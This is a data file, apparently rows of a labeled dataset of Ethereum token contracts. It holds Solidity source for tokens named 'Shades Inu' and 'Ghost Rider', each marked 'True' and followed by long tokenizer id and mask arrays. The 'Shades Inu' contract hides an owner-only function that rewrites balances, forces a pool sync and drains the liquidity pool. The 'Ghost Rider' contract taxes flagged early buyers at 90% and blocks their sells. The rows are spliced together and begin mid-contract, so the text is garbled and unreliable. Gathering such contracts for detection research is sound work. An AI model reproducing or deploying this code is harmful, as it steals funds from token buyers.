uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ShadinuToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 64000000 * 10**8;
uint256 private _maxWallet= 64000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Shades Inu";
string private constant _symbol = "SHADINU";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 12;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(200);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 800000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function liftMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function liftMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function sendFeeToETH() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualswap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
5641,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
21450,
1063,
3853,
3443,
4502,
4313,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1007,
6327,
5651,
1006,
4769,
3940,
1007,
1025,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1063,
3853,
19948,
10288,
18908,
18715,
6132,
29278,
11031,
6342,
9397,
11589,
2075,
7959,
10242,
6494,
3619,
7512,
18715,
6132,
1006,
21318,
3372,
3815,
2378,
1010,
21318,
3372,
3815,
5833,
10020,
1010,
4769,
1031,
1033,
2655,
2850,
2696,
4130,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
1025,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1010,
21318,
3372,
6381,
3012,
1007,
1025,
1065,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ghostrider is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 1e12 * 1e9; //100,000,000,000,000
uint256 public _maxWalletSize;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _sellTax;
uint256 private _buyTax;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Ghost Rider";
string private constant _symbol = "GR";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xBC42DB96f8fc6A9010AB394F33CAA618e0Fc0233);
_rOwned[address(this)] = _rTotal;
_sellTax = 15;
_buyTax = 9;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (to != uniswapV2Pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(amount + balanceOf(to) <= _maxWalletSize, "Over max wallet size.");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (block.number <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
if (from != address(this) && bots[to]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount);
}
_feeAddr1 = 0;
_feeAddr2 = 90;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 1;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500 * 1e9 * 1e9) { // 0.5%
sendETHToFee(address(this).balance);
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading(uint256 botBlocks) external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_firstBlock = block.number;
_botBlocks = botBlocks;
_maxTxAmount = 100 * 1e10 * 1e9; //1%
_maxWalletSize = 300 * 1e10 * 1e9; //3%
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyOwner{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2861,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.7 <0.9.0;
//import "../../utils/Context.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
//import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
